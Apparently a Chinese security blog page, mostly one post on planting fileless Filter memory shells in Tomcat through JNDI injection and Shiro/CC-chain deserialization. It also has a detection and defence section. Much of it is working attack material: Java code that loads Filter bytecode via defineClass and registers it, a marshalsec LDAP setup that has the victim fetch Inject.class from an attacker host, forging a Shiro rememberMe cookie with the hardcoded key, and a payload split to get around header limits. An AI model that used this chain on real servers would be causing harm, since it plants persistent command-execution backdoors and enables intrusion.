事前 修复反序列化 / JNDI 入口——否则任何检测都是事后
事中 RASP 监控 ClassLoader.defineClass、对 RequestInfo / getNote 的反射调用栈
加固 确认 Tomcat 版本并跟踪字段变更,必要时用容器镜像锁定版本,降低字段猜测成功率

总结

TomcatEcho 是”无 request 场景”下拿回显的兜底技术:它把「线程上下文类加载器 → 容器注册表 → 协议层请求对象」整条引用链当成跳板,用链式反射把 connector.Request 翻出来。三条核心经验:

  1. 任何 Web 线程都能通过 Thread.currentThread().getContextClassLoader() 触达容器对象——这是所有无 request 反射链的起点;
  2. processors[] + getNote(1) 是”找当前请求”的关键——协议层对象和业务层对象靠 note 槽位关联;
  3. 防御它的本质仍是切断入口——先拿到代码执行,一切皆可发生。
延伸阅读:《反序列化与 JNDI 无文件注入内存马》 《内存马原理总纲》 《Tomcat Listener 内存马》 《Tomcat Valve 内存马》
阅读全文 »

反序列化与 JNDI 无文件注入内存马

发表于 2026-07-28 | 分类于 漏洞分析 |

反序列化与 JNDI 无文件注入内存马

前面 Filter / Servlet / Listener / Valve 各篇讲的是”拿到代码执行之后怎么把内存马塞进容器”。但攻击者最早是怎么拿到”代码执行”这一步的?最常见的是 反序列化(Shiro / Fastjson / CC 链)和 JNDI 注入。

这两条路有一个共同点:没有 JSP、没有 request 对象、恶意类不在 classpath。本文补齐这条从 RCE 入口到内存马落地的完整链路。

本质:用反序列化 / JNDI 把”注入类”送进 JVM,注入类在构造方法 / static 块里动态 defineClass 加载恶意 Filter,并通过无 request 反射链拿到 StandardContext 完成注册。整体框架见 《内存马原理总纲》,命令回显见 《TomcatEcho 无 request 命令回显》。


一、无文件注入的三个难点

对比 JSP 注入,无文件注入多了三个问题:

难点 JSP 注入 无文件注入
恶意类从哪来 直接写在 <%! %> 里 恶意类不在目标 classpath,需 defineClass 动态加载
StandardContext 怎么拿 有 request → 反射链 入口只有构造方法 / static 块,没有 request
命令回显 有 response 拿不到 response,需 TomcatEcho 链

二、defineClass 动态加载恶意类

2.1 为什么不能直接 new

JNDI 一次只能指向一个 class 文件;反序列化 gadget(TemplatesImpl)加载的也是一个类。而”注入器 + 恶意 Filter”至少两个类(Filter 要单独编译成 .class)。写成内部类也不行——内部类编译后仍生成独立的 class 文件。

标准做法:先用 javassist 把恶意 Filter 的字节码打成 Base64 字符串,运行时用 ClassLoader.defineClass 从字节数组还原出这个类。

// 生成端:javassist 把 ShellFilter 转成 Base64
import javassist.ClassPool;
import java.util.Base64;

public class DumpBase64 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        byte[] bytes = pool.get("ShellFilter").toBytecode();
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
}

2.2 注入端:defineClass 还原类

// 注入端:把 Base64 字节码还原成类并实例化
String code = "yv66vgAA...";   // 上面生成的 Base64
byte[] bytes = Base64.getDecoder().decode(code);

ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method define = ClassLoader.class.getDeclaredMethod(
    "defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);

Filter filter = (Filter) clazz.getDeclaredConstructor().newInstance();

注意:

  • 用 Thread.currentThread().getContextClassLoader(),它持有 Web 应用的类路径,能解析 javax.servlet.* 等依赖;
  • defineClass 是 protected,必须 setAccessible(true);
  • JDK 9+ 推荐 getDeclaredConstructor().newInstance()(newInstance() 已废弃)。

三、没有 request:怎么拿 StandardContext

JSP 注入能走 request.getServletContext() → ApplicationContext → StandardContext(见 Filter 篇)。但无文件入口(构造方法 / static 块)里没有 request,要换一条链。

3.1 从线程上下文类加载器一路往下

WebappClassLoaderBase 是 Tomcat 的 Web 应用类加载器,每个线程都能拿到它(Thread.currentThread().getContextClassLoader()),它持有 resources → StandardContext 的引用:

Thread.currentThread().getContextClassLoader()
  → (WebappClassLoaderBase)
  → resources : WebResourceRoot(StandardRoot)
  → getContext() : StandardContext
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;

public StandardContext getContext() {
    WebappClassLoaderBase cl =
        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardRoot root = (StandardRoot) cl.getResources();
    return (StandardContext) root.getContext();
}

3.2 Tomcat 9+ 兼容坑:getResources() 弃用返回 null

getResources() 在 Tomcat 9 里已弃用(Fastjson 靶机正好是 Tomcat 9,实测返回 null → NPE)。兼容写法是反射取 resources 字段:

public StandardContext getContext() {
    WebappClassLoaderBase cl =
        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    try {
        Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
        field.setAccessible(true);
        StandardRoot root = (StandardRoot) field.get(cl);
        return (StandardContext) root.getContext();
    } catch (Exception e) {
        return null;
    }
}

这是典型的”版本兼容”坑:getResources() 方法废弃、字段还在。利用时要根据目标 Tomcat 版本二选一;resources 字段本身在不同版本间也有改名/改包名的风险,实战前需确认目标版本。


四、入口一:JNDI 注入

4.1 回顾:JNDI 注入原理

InitialContext.lookup() 参数可控时,指向攻击者的 RMI/LDAP 服务,返回恶意 Reference,目标 JVM 远程加载并实例化恶意类:

lookup("ldap://attacker:1389/Exploit")
  → LDAP 返回 Reference(指向 http://attacker/Exploit.class)
  → 目标 JVM 远程加载 Exploit.class → new Exploit() → 构造方法 / static 块执行

4.2 限制:只有三个地方会被自动执行

JNDI 远程加载的类,只有 static{}、{}(实例初始化块)、无参构造方法会被自动执行。所以注入逻辑必须写在这三个地方之一(最常用无参构造方法)。

4.3 JNDI + defineClass 组合

受害者(Tomcat 8 + JDK 8u62,8u191 之前默认可远程加载 codebase):

// 受害者:HelloServlet.doGet 里 lookup 参数可控
String name = request.getParameter("name");
Context ctx = new InitialContext();
ctx.lookup(name);   // name = ldap://attacker:1389/Inject

恶意类 Inject(托管在攻击者 HTTP 服务器,无参构造方法里完成注入):

public class Inject {
    public Inject() throws Exception {          // ← JNDI 加载后自动执行
        StandardContext context = getContext(); // 无 request 链,见第三节
        Filter filter = getFilter();            // defineClass 加载恶意 Filter,见第二节

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
    }
}

攻击流程:

# 1. HTTP 托管 Inject.class
python3 -m http.server 80

# 2. marshalsec 起 LDAP/RMI 服务,引用指向 Inject
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
  marshalsec.jndi.LDAPRefServer "http://attacker/#Inject" 1389

# 3. 触发受害者
# GET /hello?name=ldap://attacker:1389/Inject

高版本 JDK 限制:JDK 8u191+ 默认禁止从远程 codebase 加载类(com.sun.jndi.ldap.object.trustURLCodebase=false),JNDI 注入需要本地 Factory 或其他绕过。这也是很多靶场用 8u62~8u181 的原因。


五、入口二:反序列化注入(TemplatesImpl 链)

5.1 反序列化加载字节码:TemplatesImpl

Java 原生反序列化没有”直接执行任意代码”的方法,需要 gadget 链。最通用的”加载字节码并执行”载体是 TemplatesImpl:它的 _bytecodes 字段保存字节码,getTransletInstance() 会 defineClass 并实例化——但要求恶意类继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。

// 恶意类:继承 AbstractTranslet,构造方法里写注入逻辑(同 4.3)
public class Inject extends AbstractTranslet {
    public Inject() { /* 完成 Filter 注册 */ }
    @Override public void transform(DOM d, SerializationHandler[] h) {}
    @Override public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) {}
}

构造 TemplatesImpl(用反射设置私有字段):

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ 注入类字节码 }); // 用 javassist 取
setFieldValue(obj, "_name", "xxx");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

5.2 触发:CC 链

反序列化入口一般是 HashMap.readObject → hashCode → TiedMapEntry → LazyMap.get → ChainedTransformer → InstantiateTransformer → TrAXFilter → TemplatesImpl.newTransformer() → getTransletInstance() → 实例化恶意类。这条 CC 链需要 commons-collections 3.2.1(Shiro 1.2.4 自带)。

5.3 Shiro 实战:rememberMe = 对象 → 序列化 → AES

Shiro 的 rememberMe 处理:Cookie 值 = Base64(AES(序列化对象))。密钥硬编码(kPH+bIxk5D2deZiIxcaaaA==)时,可伪造任意序列化数据:

// 生成 rememberMe 值
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(序列化后的CC链, key);
// 输出 → 塞进 Cookie: rememberMe=...

5.4 实战坑:Header 8k 限制 → ShellLoader 拆分

直接把”注入类(含 Filter 字节码)”塞进 rememberMe,序列化后超过 Tomcat 默认 8k 请求头上限,请求直接 400。解决思路:rememberMe 里只放一个 ShellLoader(小),真正要注册的 Filter 字节码放 POST body。

POST / HTTP/1.1
Cookie: rememberMe=<ShellLoader 的 AES 载荷>   ← 反序列化触发 ShellLoader
Content-Type: application/x-www-form-urlencoded
code=<Filter 字节码的 Base64>                  ← POST body,不走 Header

ShellLoader(继承 AbstractTranslet,static 块执行):

public class ShellLoader extends AbstractTranslet {
    static {
        // 1. TomcatEcho 链拿到当前请求(见下篇),从 body 读 code 参数
        // 2. defineClass 加载 code 指向的 Filter 字节码
        // 3. newInstance() → Filter 的构造/初始化逻辑注册进容器
    }
}

配合编译优化 -g:none 去掉调试信息,能把 ShellLoader 的字节码再缩小一截,更容易塞进 8k 请求头。


六、完整攻击链

Shiro rememberMe Cookie
  → Base64 解码 → AES 解密 → 反序列化(CC 链)
  → TemplatesImpl 加载 ShellLoader 字节码并实例化
  → ShellLoader.static{} 执行
      → TomcatEcho 链拿到当前 Request(见下篇)
      → 读 POST body 的 code 参数(Filter 字节码 Base64)
      → defineClass 加载 Filter
      → 无 request 反射链拿 StandardContext(第三节)
      → addFilterDef / addFilterMapBefore / filterStart → Filter 内存马落地
  → 之后任意请求 ?cmd=xxx 即命令回显

JNDI 入口(Fastjson JdbcRowSetImpl + dataSourceName + autoCommit)同理,只是”进入 JVM”的方式从反序列化换成了 JNDI 远程加载类。


七、检测与防御

检测

手段 说明
入口修复 检查 Shiro / Fastjson 等反序列化点与 JNDI 可控 lookup(事前)
监控 defineClass RASP 监控 ClassLoader.defineClass 的非启动阶段调用
监控 JNDI RASP 监控 InitialContext.lookup 的参数来源与调用栈
基线对比 注入完成后仍是 Filter 基线对比(同 Filter 篇)

防御

层面 措施
事前 修复 Shiro 硬编码密钥、Fastjson AutoType、反序列化入口——切断”进入 JVM”这一步
升级 JDK ≥ 8u191(JNDI 远程加载默认关闭)
事中 RASP 监控 defineClass / lookup / addFilterDef 的调用栈
事后 Filter / Listener / Valve 基线巡检

总结

无文件注入与 JSP 注入的本质区别,是把前面几篇里”现成可用的 request / 类”换成三个等价物:

JSP 注入 无文件注入
<%! %> 内联恶意类 ClassLoader.defineClass 加载字节码
request 反射链拿 context Thread.getContextClassLoader → resources → StandardContext
response 回显 TomcatEcho 链(见下篇)

记住:内存马的类型没变(还是 Filter / Listener / Valve……),变的是把注入类送进 JVM 的入口。攻击者最终都要回答同一个问题——”在我的代码里,怎么拿到容器注册表的引用”。

延伸阅读:《内存马原理总纲》 《TomcatEcho 无 request 命令回显》 《Tomcat Filter 内存马》 《Fastjson反序列化漏洞深度剖析》
阅读全文 »
1 2 … 4
江流

江流

人生若只如初见,何事悲风秋画扇。

33 日志
18 分类
107 标签
RSS
GitHub 简书
Creative Commons
© 2019 - 2026 江流
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访问数 人次 本站总访问量 次